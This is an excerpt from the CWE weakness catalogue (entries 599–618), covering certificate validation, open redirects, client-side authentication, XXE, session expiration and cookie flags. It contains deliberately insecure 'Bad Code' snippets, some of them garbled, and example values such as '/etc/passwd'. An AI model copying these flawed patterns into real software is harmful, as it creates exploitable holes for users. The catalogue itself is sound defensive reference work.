CWE-599: Trust of OpenSSL Certificate Without Validation

Weakness ID: 599 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The failure to validate certificate data may mean that an attacker may be claiming to be a host which it is not.

Time of Introduction

- Architecture and Design
- Implementation

Common Consequences

Integrity

the data read may not be properly secured, it might be viewed by an attacker.

Authentication

trust afforded to the system in question may allow for spoofing or redirection attacks.

Demonstrative Examples

C Example: *Bad Code*

```
if (!(cert = SSL_get_peer(certificate(ssl)) || !host))
//foo=SSL_get_verify_result(ssl);
//if ((X509_V_OK==foo)
```

Potential Mitigations

Architecture and Design
Ensure that proper authentication is included in the system design.

Implementation
Understand and properly implement all checks necessary to ensure the identity of entities involved in encrypted communications.

Other Notes
If the certificate is not checked, it may be possible for a redirection or spoofing attack to allow a malicious host with a valid certificate to provide data under the guise of a trusted host. While the attacker in question may have a valid certificate, it may simply be a valid certificate for a different site. In order to ensure data integrity, we must check that the certificate is valid, and that it pertains to the site we wish to access.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness Base	297	Improper Validation of Host-specific Certificate Data	**699** **1000**	323
ChildOf	Weakness Class	754	Improper Check for Exceptional Conditions	1000	734

CWE-600: Failure to Catch All Exceptions in Servlet

Weakness ID: 600 *(Weakness Base)* **Status:** Draft

Description
Summary
A Servlet fails to catch all exceptions, which may reveal sensitive debugging information.

Extended Description
When a Servlet throws an exception, the default error response the Servlet container sends back to the user typically includes debugging information. This information is of great value to an attacker. For example, a stack trace might show the attacker a malformed SQL query string, the type of database being used, and the version of the application container. This information enables the attacker to target known vulnerabilities in these components.

Alternate Terms
Missing Catch Block

Time of Introduction
- Implementation

Demonstrative Examples
In the following method a DNS lookup failure will cause the Servlet to throw an exception.

Bad Code

```
protected void doPost (HttpServletRequest req, HttpServletResponse res) throws IOException {
  String ip = req.getRemoteAddr();
  InetAddress addr = InetAddress.getByName(ip);
  ...
  out.println("hello " + addr.getHostName());
}
```

Potential Mitigations
Implement Exception blocks to handle all types of Exceptions.

Relationships

Nature	Type	ID	Name	V	Page
CanPrecede	Weakness Base	209	Error Message Information Leak	1000	238
ChildOf	Pillar	388	Error Handling	**699**	413
PeerOf	Weakness Class	390	Detection of Error Condition Without Action	1000	415
ChildOf	Weakness Class	691	Insufficient Control Flow Management	1000	682
ChildOf	Weakness Class	755	Improper Handling of Exceptional Conditions	**1000**	734

Maintenance Notes
The "Missing Catch Block" concept is probably broader than just Servlets, but the broader concept is not sufficiently covered in CWE.

CWE-601: URL Redirection to Untrusted Site (aka 'Open Redirect')

Weakness ID: 601 *(Weakness Variant)* **Status:** Draft

Description

Summary

A web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a Redirect. This simplifies phishing attacks.

Extended Description

An http parameter may contain a URL value and could cause the web application to redirect the request to the specified URL. By modifying the URL value to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials. Because the server name in the modified link is identical to the original site, phishing attempts have a more trustworthy appearance.

Alternate Terms

Open Redirect

Cross-site Redirect

Cross-domain Redirect

Time of Introduction

- Architecture and Design
- Implementation

Likelihood of Exploit

Low

Detection Factors

Whether this issue poses a vulnerability will be subject to the intended behavior of the application. For example, a search engine might intentionally provide redirects.

Observed Examples

Reference	Description
CVE-2005-4206	URL parameter loads the URL into a frame and causes it to appear to be part of a valid page.
CVE-2008-2052	Open redirect vulnerability in the software allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL in the proper parameter.
CVE-2008-2951	An open redirect vulnerability in the search script in the software allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL as a parameter to the proper function.

Potential Mitigations

Assume that all user inputs are malicious. Perform input validation of all user requests.

Use a whitelist of approved URLs or domains to redirect to.

Provide an intermediate disclaimer page that provides the user with a clear warning that they are leaving your site. Implement a long timeout before the redirect occurs, or force the user to click on the link.

Background Details

Phishing is a general term for deceptive attempts to coerce private information from users that will be used for identity theft.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WASC	20	Improper Input Validation	**699**	14
ChildOf		442	Web Problems	699	468
ChildOf	WASC	610	Externally Controlled Reference to a Resource in Another Sphere	**1000**	597
ChildOf		722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	**711**	716

Taxonomy Mappings

Mapped Taxonomy Name
Anonymous Tool Vendor (under NDA)

References

Craig A. Shue, Andrew J. Kalafut and Minaxi Gupta. "Exploitable Redirects on the Web: Identification, Prevalence, and Defense". < http://www.cs.indiana.edu/cgi-pub/cshue/research/woot08.pdf >.

Russ McRee. "Open redirect vulnerabilities: definition and prevention". Page 43. Issue 17. (IN)SECURE. July 2008. < http://www.net-security.org/dl/insecure/INSECURE-Mag-17.pdf >.

CWE-602: Client-Side Enforcement of Server-Side Security

Weakness ID: 602 *(Weakness Base)* **Status:** Draft

Description

Summary

The software has a server that relies on the client to implement a mechanism that is intended to protect the server.

Extended Description

When the server relies on protection mechanisms placed on the client side, an attacker can modify the client-side behavior to bypass the protection mechanisms resulting in potentially unexpected interactions between the client and server. The consequences will vary, depending on what the mechanisms are trying to protect.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- All

Likelihood of Exploit

Medium

Enabling Factors for Exploitation

Consider a product that consists of two or more processes or nodes that must interact closely, such as a client/server model. If the product uses protection schemes in the client in order to defend from attacks against the server, and the server does not use the same schemes, then an attacker could modify the client in a way that bypasses those schemes. This is a fundamental design flaw that is primary to many weaknesses.

Demonstrative Examples

This example contains client-side code that checks if the user authenticated successfully before sending a command. The server-side code performs the authentication in one step, and executes the command in a separate step.

CLIENT-SIDE (client.pl)

Good Code

```
$server = "server.example.com";
$username = AskForUserName();
$password = AskForPassword();
$address = AskForAddress();
$sock = OpenSocket($server, 1234);
writeSocket($sock, "AUTH $username $password\n");
$resp = readSocket($sock);
if ($resp eq "success") {
  # username/pass is valid, go ahead and update the info!
  writeSocket($sock, "CHANGE-ADDRESS $username $address\n";
}
else {
  print "ERROR: Invalid Authentication!\n";
}
```

SERVER-SIDE (server.pl):

Bad Code

```
$sock = acceptSocket(1234);
($cmd, $args) = ParseClientRequest($sock);
if ($cmd eq "AUTH") {
  ($username, $pass) = split(/\s+/, $args, 2);
  $result = AuthenticateUser($username, $pass);
  writeSocket($sock, "$result\n");
  # does not close the socket on failure; assumes the
  # user will try again
}
elsif ($cmd eq "CHANGE-ADDRESS") {
  if (validateAddress($args)) {
    $res = UpdateDatabaseRecord($username, "address", $args);
    writeSocket($sock, "SUCCESS\n");
  }
  else {
    writeSocket($sock, "FAILURE -- address is malformed\n");
  }
}
```

The server accepts 2 commands, "AUTH" which authenticates the user, and "CHANGE-ADDRESS" which updates the address field for the username. The client performs the authentication and only sends a CHANGE-ADDRESS for that user if the authentication succeeds. Because the client has already performed the authentication, the server assumes that the username in the CHANGE-ADDRESS is the same as the authenticated user. An attacker could modify the client by removing the code that sends the "AUTH" command and simply executing the CHANGE-ADDRESS.

Observed Examples

Reference	Description
CVE-2006-6994	ASP program allows upload of .asp files by bypassing client-side checks.
CVE-2007-0100	client allows server to modify client's configuration and overwrite arbitrary files.
CVE-2007-0163	steganography products embed password information in the carrier file, which can be extracted from a modified client.
CVE-2007-0164	steganography products embed password information in the carrier file, which can be extracted from a modified client.

Potential Mitigations

Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.

Architecture and Design

If some degree of trust is required between the two entities, then use integrity checking and strong authentication to ensure that the inputs are coming from a trusted source. Design the product so that this trust is managed in a centralized fashion, especially if there are complex or numerous communication channels, in order to reduce the risks that the implementer will mistakenly omit a check in a single code path.

Testing

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	254	Security Features	**699**	279
PeerOf	Wa	290	Authentication Bypass by Spoofing	1000	316
PeerOf	Wc	300	Channel Accessible by Non-Endpoint ('Man-in-the-Middle')	1000	326
CanPrecede	Wa	471	Modification of Assumed-Immutable Data (MAID)	1000	492
ChildOf	Wc	669	Incorrect Resource Transfer Between Spheres	**1000**	659
ChildOf	Wc	693	Protection Mechanism Failure	1000	684
ChildOf	C	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	**711**	716
ChildOf	C	753	Porous Defenses	**750**	733
ParentOf	Wa	*603*	*Use of Client-Side Authentication*	***1000***	*592*

Research Gaps

Server-side enforcement of client-side security is conceptually likely to occur, but some architectures might have these strong dependencies as part of legitimate behavior, such as thin clients.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A1	CWE More Specific	Unvalidated Input

CWE-603: Use of Client-Side Authentication

Weakness ID: 603 *(Weakness Base)* **Status:** Draft

Description

Summary

A client/server product performs authentication within client code but not in server code, allowing server-side authentication to be bypassed via a modified client that omits the authentication check.

Extended Description

Client-side authentication is extremely weak and may be breached easily. Any attacker may read the source code and reverse-engineer the authentication mechanism to access parts of the application which would otherwise be protected.

Time of Introduction

- Architecture and Design
- Implementation

Observed Examples

Reference	Description
CVE-2006-0230	Client-side check for a password allows access to a server using crafted XML requests from a modified client.

Potential Mitigations

Do not rely on client side data. Always perform server side authentication.

Other Notes

Note that there is a close relationship between this weakness and CWE-656 (Reliance on Security through Obscurity). If developers do not believe that a user can reverse engineer a client, then they are more likely to choose client-side authentication in the belief that it is safe.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	287	Improper Authentication	**699**	312

Nature	Type	ID	Name	V	Page
				1000	
PeerOf	Wc	300	Channel Accessible by Non-Endpoint ('Man-in-the-Middle')	1000	326
PeerOf	Wc	592	Authentication Bypass Issues	1000	582
ChildOf	We	602	Client-Side Enforcement of Server-Side Security	**1000**	590

Taxonomy Mappings

Mapped Taxonomy Name
Anonymous Tool Vendor (under NDA)

CWE-604: Deprecated Entries

View ID: 604 *(View: Explicit Slice)* **Status:** Draft

Objective

CWE nodes in this view (slice) have been deprecated. There should be a reference pointing to the replacement in each deprecated weakness.

View Data

View Metrics

	CWEs in this view		Total CWEs
Total	**9**	out of	777
Views	0	out of	22
Categories	1	out of	105
Weaknesses	8	out of	638
Compound_Elements	0	out of	12

Relationships

Nature	Type	ID	Name	V	Page
HasMember		132	DEPRECATED (Duplicate): Miscalculated Null Termination	**604**	164
HasMember		139	DEPRECATED: General Special Element Problems	**604**	170
HasMember		217	DEPRECATED: Failure to Protect Stored Data from Modification	**604**	247
HasMember		218	DEPRECATED (Duplicate): Failure to provide confidentiality for stored data	**604**	248
HasMember		225	DEPRECATED (Duplicate): General Information Management Problems	**604**	252
HasMember		423	DEPRECATED (Duplicate): Proxied Trusted Channel	**604**	451
HasMember		443	DEPRECATED (Duplicate): HTTP response splitting	**604**	468
HasMember		458	DEPRECATED: Incorrect Initialization	**604**	480
HasMember		516	DEPRECATED (Duplicate): Covert Timing Channel	**604**	535

CWE-605: Multiple Binds to the Same Port

Weakness ID: 605 *(Weakness Base)* **Status:** Draft

Description

Summary

When multiple sockets are allowed to bind to the same port, other services on that port may be stolen or spoofed.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- All

Common Consequences

Packets from a variety of network services may be stolen or the services spoofed.

Demonstrative Examples

```
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <stdio.h>
#include <arpa/inet.h>
void bind_socket(void) {
  int server_sockfd;
  int server_len;
  struct sockaddr_in server_address;
  unlink("server_socket");
  server_sockfd = socket(AF_INET, SOCK_STREAM, 0);
  server_address.sin_family = AF_INET;
  server_address.sin_port = 21;
  server_address.sin_addr.s_addr = htonl(INADDR_ANY);
  server_len = sizeof(struct sockaddr_in);
  bind(server_sockfd, (struct sockaddr *) &s1, server_len);
```

Potential Mitigations

Restrict server socket address to known local addresses.

Other Notes

On most systems, a combination of setting the SO_REUSEADDR socket option, and a call to bind() allows any process to bind to a port to which a previous process has bound width INADDR_ANY. This allows a user to bind to the specific address of a server bound to INADDR_ANY on an unprivileged port, and steal its udp packets/tcp connection.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	227	Failure to Fulfill API Contract ('API Abuse')	**699**	254
ChildOf	We	666	Operation on Resource in Wrong Phase of Lifetime	1000	656
ChildOf	We	675	Duplicate Operations on Resource	**1000**	663

Taxonomy Mappings

Mapped Taxonomy Name
Anonymous Tool Vendor (under NDA)

CWE-606: Unchecked Input for Loop Condition

Weakness ID: 606 *(Weakness Base)* **Status:** Draft

Description

Summary

The product does not properly check inputs that are used for loop conditions, potentially leading to a denial of service because of excessive looping.

Time of Introduction

- Implementation

Demonstrative Examples

Bad Code

```
void iterate(int n){
  int i;
  for (i = 0; i < n; i++){
    foo();
  }
}
void iterateFoo()
{
  unsigned num;
  scanf("%u",&num);
  iterate(num);
}
```

Potential Mitigations

Do not use user-controlled data for loop conditions.

Perform input validation.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness Class	20	Improper Input Validation	**699** **1000**	14
ChildOf	Weakness Class	398	Indicator of Poor Code Quality	1000	423
ChildOf	Category	738	CERT C Secure Coding Section 04 - Integers (INT)	**734**	726

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
Anonymous Tool Vendor (under NDA)		
CERT C Secure Coding	INT03-C	Use a secure integer library

CWE-607: Public Static Final Field References Mutable Object

Weakness ID: 607 *(Weakness Variant)* **Status:** Draft

Description

Summary

A public or protected static final field references a mutable object, which allows the object to be changed by malicious code, or accidentally from another package

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Java

Demonstrative Examples

Here, an array (which is inherently mutable) is labeled public static final.

Java Example: *Bad Code*

```
public static final String[] USER_ROLES;
```

Potential Mitigations

Protect mutable objects by making them private. Restrict access to the getter and setter as well.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness Base	471	Modification of Assumed-Immutable Data (MAID)	699 **1000**	492
ChildOf	Weakness Class	485	Insufficient Encapsulation	**699**	508

Taxonomy Mappings

Mapped Taxonomy Name
Anonymous Tool Vendor (under NDA)

CWE-608: Struts: Non-private Field in ActionForm Class

Weakness ID: 608 *(Weakness Variant)* **Status:** Draft

Description

Summary

An ActionForm class contains a field that has not been declared private, which can be accessed without using a setter or getter.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Java

Potential Mitigations

Make all fields private. Use getter to get the value of the field. Setter should be used only by the framework; setting an action form field from other actions is bad practice and should be avoided.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	101	Struts Validation Problems	**699**	120
ChildOf	Weakness	668	Exposure of Resource to Wrong Sphere	**1000**	658

Causal Nature

Explicit *(an explicit weakness resulting from behavior of the developer)*

Taxonomy Mappings

Mapped Taxonomy Name
Anonymous Tool Vendor (under NDA)

CWE-609: Double-Checked Locking

Weakness ID: 609 *(Weakness Base)* **Status:** Draft

Description

Summary

The program uses double-checked locking to access a resource without the overhead of explicit synchronization, but the locking is insufficient.

Extended Description

Double-checked locking refers to the situation where a programmer checks to see if a resource has been initialized, grabs a lock, checks again to see if the resource has been initialized, and then performs the initialization if it has not occurred yet. This should not be done, as is not guaranteed to work in all languages and on all architectures. In summary, other threads may not be operating inside the synchronous block and are not guaranteed to see the operations execute in the same order as they would appear inside the synchronous block.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Java

Demonstrative Examples

It may seem that the following bit of code achieves thread safety while avoiding unnecessary synchronization...

Java Example: *Bad Code*

```
if (helper == null) {
  synchronized (this) {
    if (helper == null) {
      helper = new Helper();
    }
  }
}
return helper;
```

The programmer wants to guarantee that only one Helper() object is ever allocated, but does not want to pay the cost of synchronization every time this code is called.

Let's say helper is not initialized. Then, thread A comes along, sees that helper==null, and enters the synchronized block and begins to execute:

Bad Code

```
helper = new Helper();
```

If a second thread, thread B, takes over in the middle of this call and helper has not finished running the constructor, then thread B may make calls on helper while its fields hold incorrect values.

Potential Mitigations

While double-checked locking can be achieved in some languages, it is inherently flawed in Java before 1.5, and cannot be achieved without compromising platform independence. Before Java 1.5, only use of the synchronized keyword is known to work. Beginning in Java 1.5, use of the "volatile" keyword allows double-checked locking to work successfully, although there is some debate as to whether it achieves sufficient performance gains. See references.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	361	Time and State	**699**	382
CanPrecede	W	362	Race Condition	**699** 1000	383
ChildOf	W	367	Time-of-check Time-of-use (TOCTOU) Race Condition	**1000**	392
ChildOf	W	667	Insufficient Locking	1000	657

Taxonomy Mappings

Mapped Taxonomy Name
Anonymous Tool Vendor (under NDA)

References

David Bacon et al.. "The "Double-Checked Locking is Broken" Declaration". < http://www.cs.umd.edu/~pugh/java/memoryModel/DoubleCheckedLocking.html >.

Jeremy Manson and Brian Goetz. "JSR 133 (Java Memory Model) FAQ". < http://www.cs.umd.edu/~pugh/java/memoryModel/jsr-133-faq.html#dcl >.

CWE-610: Externally Controlled Reference to a Resource in Another Sphere

Weakness ID: 610 *(Weakness Class)* **Status:** Draft

Description

Summary

The product uses an externally controlled name or reference that resolves to a resource that is outside of the intended control sphere.

Extended Description

Time of Introduction

- Architecture and Design

Other Notes

This is a general class of weakness, but most research is focused on more specialized cases, such as path traversal (CWE-22) and symlink following (CWE-61). A symbolic link has a name; in general, it appears like any other file in the file system. However, the link includes a reference to another file, often in another directory - perhaps in another sphere of control. Many common library functions that accept filenames will "follow" a symbolic link and use the link's target instead.

Cross-zone scripting is an attack on web browsers for which this issue is resultant. CVE-2007-0800 is one example.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	265	Privilege / Sandbox Issues	**699**	291
ChildOf	W	664	Improper Control of a Resource Through its Lifetime	**1000**	652
ParentOf	W	*15*	*External Control of System or Configuration Setting*	*1000*	*12*
ParentOf	W	*73*	*External Control of File Name or Path*	*1000*	*67*

Nature	Type	ID	Name	V	Page
PeerOf	We	*386*	*Symbolic Name not Mapping to Correct Object*	*1000*	*412*
ParentOf	We	*441*	*Unintended Proxy/Intermediary*	***1000***	*467*
ParentOf	We	*470*	*Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')*	***1000***	*490*
ParentOf	Wv	*601*	*URL Redirection to Untrusted Site ('Open Redirect')*	***1000***	*589*
ParentOf	Wv	*611*	*Information Leak Through XML External Entity File Disclosure*	*1000*	*598*

Taxonomy Mappings

Mapped Taxonomy Name
Anonymous Tool Vendor (under NDA)

CWE-611: Information Leak Through XML External Entity File Disclosure

Weakness ID: 611 *(Weakness Variant)* **Status:** Draft

Description

Summary

The product processes an XML document that can contain XML entities with URLs that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output.

Extended Description

XML documents optionally contain a Document Type Definition (DTD), which, among other features, enables the definition of "XML entities". It is possible to define an entity locally by providing a substitution string in the form of a URL whose content is substituted for the XML entity when the DTD is processed. The attack can be launched by defining an XML entity whose content is a file URL (which, when processed by the receiving end, is mapped into a file on the server), that is embedded in the XML document, and thus, is fed to the processing application. This application may echo back the data (e.g. in an error message), thereby exposing the file contents.

Time of Introduction

- Implementation

Observed Examples

Reference	Description
CVE-2005-1306	A browser control can allow remote attackers to determine the existence of files via Javascript containing XML script, aka the "XML External Entity vulnerability."

Other Notes

It's important to note that a URL can have non-HTTP schemes, especially, that a URL such as "file:///c:/winnt/win.ini" designates (in Windows) the file C:\Winnt\win.ini. Similarly, a URL can be used to designate any file on any drive.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	538	File and Directory Information Leaks	**699** 1000	546
ChildOf	Wc	610	Externally Controlled Reference to a Resource in Another Sphere	1000	597
ChildOf	Wc	673	External Influence of Sphere Definition	**1000**	661

Relevant Properties

- Accessibility

Taxonomy Mappings

Mapped Taxonomy Name
Anonymous Tool Vendor (under NDA)

CWE-612: Information Leak Through Indexing of Private Data

Weakness ID: 612 *(Weakness Variant)* **Status:** Draft

Description

Summary

The product performs an indexing routine against private documents, but does not sufficiently verify that the actors who can access the index also have the privileges to access the private documents.

Extended Description

When an indexing routine is applied against a group of private documents, and that index's results are available to outsiders who do not have access to those documents, then outsiders might be able to obtain sensitive information by conducting targeted searches. The risk is especially dangerous if search results include surrounding text that was not part of the search query. This issue can appear in search engines that are not configured (or implemented) to ignore critical files that should remain hidden; even without permissions to download these files directly, the remote user could read them.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Other Notes

Under-studied and under-reported

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WC	200	Information Leak (Information Disclosure)	**699** **1000**	230

Taxonomy Mappings

Mapped Taxonomy Name
Anonymous Tool Vendor (under NDA)

CWE-613: Insufficient Session Expiration

Weakness ID: 613 *(Weakness Base)* **Status:** Incomplete

Description

Summary

According to WASC, "Insufficient Session Expiration is when a web site permits an attacker to reuse old session credentials or session IDs for authorization."

Time of Introduction

- Architecture and Design
- Implementation

Demonstrative Examples

The following snippet was taken from a J2EE web.xml deployment descriptor in which the session-timeout parameter is explicitly defined (the default value depends on the container). In this case the value is set to -1, which means that a session will never expire.

Java Example: *Bad Code*

```
<web-app>
  [...snipped...]
  <session-config>
    <session-timeout>-1</session-timeout>
  </session-config>
```

```
</web-app>
```

Potential Mitigations

Set sessions/credentials expiration date.

Other Notes

The lack of proper session expiration may improve the likely success of certain attacks. For example, an attacker may intercept a session ID, possibly via a network sniffer or Cross-site Scripting attack. Although short session expiration times do not help if a stolen token is immediately used, they will protect against ongoing replaying of the session ID. In another scenario, a user might access a web site from a shared computer (such as at a library, Internet cafe, or open work environment). Insufficient Session Expiration could allow an attacker to use the browser's back button to access web pages previously accessed by the victim.

Relationships

Nature	Type	ID	Name	V	Page
CanPrecede	Wc	287	Improper Authentication	**699** 1000	312
ChildOf	C	361	Time and State	**699**	382
ChildOf	Wa	672	Use of a Resource after Expiration or Release	**1000**	660
ChildOf	C	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	**711**	717
RequiredBy		*352*	*Cross-Site Request Forgery (CSRF)*	*1000*	*373*

Taxonomy Mappings

Mapped Taxonomy Name
WASC

CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute

Weakness ID: 614 *(Weakness Variant)* **Status:** Draft

Description

Summary

The Secure attribute for sensitive cookies in HTTPS sessions is not set, which could cause the user agent to send those cookies in plaintext over an HTTP session.

Time of Introduction

- Implementation

Demonstrative Examples

The snippet of code below, taken from a servlet doPost() method, sets an accountID cookie (sensitive) without calling setSecure(true).

Java Example: *Bad Code*

```
Cookie c = new Cookie(ACCOUNT_ID, acctID);
response.addCookie(c);
```

Observed Examples

Reference	Description
CVE-2004-0462	A product does not set the Secure attribute for sensitive cookies in HTTPS sessions, which could cause the user agent to send those cookies in plaintext over an HTTP session with the product.
CVE-2008-0128	A product does not set the secure flag for a cookie in an https session, which can cause the cookie to be sent in http requests and make it easier for remote attackers to capture this cookie.
CVE-2008-3662	A product does not set the secure flag for the session cookie in an https session, which can cause the cookie to be sent in http requests and make it easier for remote attackers to capture this cookie.
CVE-2008-3663	A product does not set the secure flag for the session cookie in an https session, which can cause the cookie to be sent in http requests and make it easier for remote attackers to capture this cookie.

Potential Mitigations

Always set the secure attribute when the cookie should sent via HTTPS only.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	311	Failure to Encrypt Sensitive Data	699 1000	336

Taxonomy Mappings

Mapped Taxonomy Name
Anonymous Tool Vendor (under NDA)

CWE-615: Information Leak Through Comments

Weakness ID: 615 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

While adding general comments is very useful, some programmers tend to leave important data, such as: filenames related to the web application, old links or links which were not meant to be browsed by users, old code fragments, etc.

Extended Description

An attacker who finds these comments can map the application's structure and files, expose hidden parts of the site, and study the fragments of code to reverse engineer the application, which may help develop further attacks against the site.

Time of Introduction

- Implementation

Demonstrative Examples

The following comment, embedded in a JSP, will be displayed in the resulting HTML output.

HTML/JSP Example: *Bad Code*

```
<!-- FIXME: calling this with more than 30 args kills the JDBC server -->
```

Potential Mitigations

Remove comments which have sensitive information about the design/implementation of the application. Some of the comments may be exposed to the user and affect the security posture of the application.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wv	540	Information Leak Through Source Code	699 1000	548

Taxonomy Mappings

Mapped Taxonomy Name
Anonymous Tool Vendor (under NDA)

CWE-616: Incomplete Identification of Uploaded File Variables (PHP)

Weakness ID: 616 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The PHP application uses an old method for processing uploaded files by referencing the four global variables that are set for each file (e.g. $varname, $varname_size, $varname_name, $varname_type). These variables could be overwritten by attackers, causing the application to process unauthorized files.

Extended Description

These global variables could be overwritten by POST requests, cookies, or other methods of populating or overwriting these variables This could be used to read or process arbitrary files by providing values such as "/etc/passwd".

Time of Introduction

- Implementation

Applicable Platforms

Languages

- PHP

Demonstrative Examples

Example 1:

As of 2006, the "four globals" method is probably in sharp decline, but older PHP applications could have this issue.

In the "four globals" method, PHP sets the following 4 global variables (where "varname" is application-dependent):

PHP Example: *Bad Code*

```
$varname = name of the temporary file on local machine
$varname_size = size of file
$varname_name = original name of file provided by client
$varname_type = MIME type of the file
```

Example 2:

"The global $_FILES exists as of PHP 4.1.0 (Use $HTTP_POST_FILES instead if using an earlier version). These arrays will contain all the uploaded file information."

PHP Example: *Bad Code*

```
$_FILES['userfile']['name'] - original filename from client
$_FILES['userfile']['tmp_name'] - the temp filename of the file on the server
```

** note: 'userfile' is the field name from the web form; this can vary.

Observed Examples

Reference	Description
CVE-2002-1460	program does not distinguish between normal $_POST variables and the ones that are used for recognizing that a file has been downloaded.
CVE-2002-1460	PHP web forum does not properly verify whether a file was uploaded, allowing attackers to reference other files by modifying POST variables.
CVE-2002-1710	CVE-2002-1759 don't check if the variables for an upload were set by uploading the file, or other methods such as $_POST.
CVE-2002-1710	product does not distinguish uploaded file from other files.
CVE-2002-1759	PHP script does not restrict access to uploaded files. Overlaps container error.

Potential Mitigations

Architecture and Design

Use PHP 4 or later.

Architecture and Design

If you must support older PHP versions, write your own version of is_uploaded_file() and run it against $HTTP_POST_FILES['userfile']))

For later PHP versions, reference uploaded files using the $HTTP_POST_FILES or $_FILES variables, and use is_uploaded_file() or move_uploaded_file() to ensure that you are dealing with an uploaded file.

Other Notes

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	345	Insufficient Verification of Data Authenticity	**1000**	367
ChildOf		429	Handler Errors	**699**	458
PeerOf	Ww	473	PHP External Variable Modification	1000	495

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Incomplete Identification of Uploaded File Variables (PHP)

References

Shaun Clowes. "A Study in Scarlet - section 5, "File Upload"".

CWE-617: Reachable Assertion

Weakness ID: 617 *(Weakness Variant)* **Status:** Draft

Description

Summary

The product contains an assert() or similar statement that can be triggered by an attacker, which leads to an application exit or other behavior that is more severe than necessary.

Extended Description

For example, if a server handles multiple simultaneous connections, and an assert() occurs in one single connection that causes all other connections to be dropped, this is a reachable assertion that leads to a denial of service.

Time of Introduction

- Implementation

Demonstrative Examples

In the excerpt below, an AssertionError (an unchecked exception) is thrown if the user hasn't entered an email address in an HTML form.

Java Example: *Bad Code*

```
String email = request.getParameter("email_address");
assert email != null;
```

Observed Examples

Reference	Description
CVE-2006-4095	
CVE-2006-4574	
CVE-2006-4574	Chain: security monitoring product has an off-by-one error that leads to unexpected length values, triggering an assertion.
CVE-2006-5779	
CVE-2006-6767	
CVE-2006-6811	

Potential Mitigations

Make sensitive open/close operation non reachable by directly user-controlled data (e.g. open/close resources)

Perform input validation on user data.

Other Notes

While assertion is good for catching logic errors and reducing the chances of reaching more serious vulnerability conditions, it can still lead to a denial of service if the relevant code can be triggered by an attacker, and if the scope of the assert() extends beyond the attacker's own session.

Weakness Ordinalities

Resultant *(where the weakness is typically related to the presence of some other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	398	Indicator of Poor Code Quality	**699**	423
ChildOf	Wc	670	Always-Incorrect Control Flow Implementation	**1000**	659
CanFollow	*We*	*193*	*Off-by-one Error*	*1000*	*222*

CWE-618: Exposed Unsafe ActiveX Method

Weakness ID: 618 *(Weakness Base)* **Status:** Incomplete

Description

Summary

An ActiveX control is intended for use in a web browser, but it exposes dangerous methods that perform actions that are outside of the browser's security model (e.g. the zone or domain).

Extended Description

If there is no integrity checking or origin validation, this method could be invoked by attackers.

Time of Introduction

- Architecture and Design
- Implementation

Observed Examples

Reference	Description
CVE-2006-6838	control downloads and executes a url in a parameter
CVE-2007-0321	resultant buffer overflow
CVE-2007-1120	download a file to arbitrary folders.

Potential Mitigations

If you must expose a method, make sure to perform input validation on all arguments, and protect against all possible vulnerabilities.

Use code signing, although this does not protect against any weaknesses that are already in the control.

Where possible, avoid marking the control as safe for scripting.

Other Notes

ActiveX controls can exercise far greater control over the operating system than typical Java or javascript. Exposed methods can be subject to various vulnerabilities, depending on the implemented behaviors of those methods, and whether input validation is performed on the provided arguments.

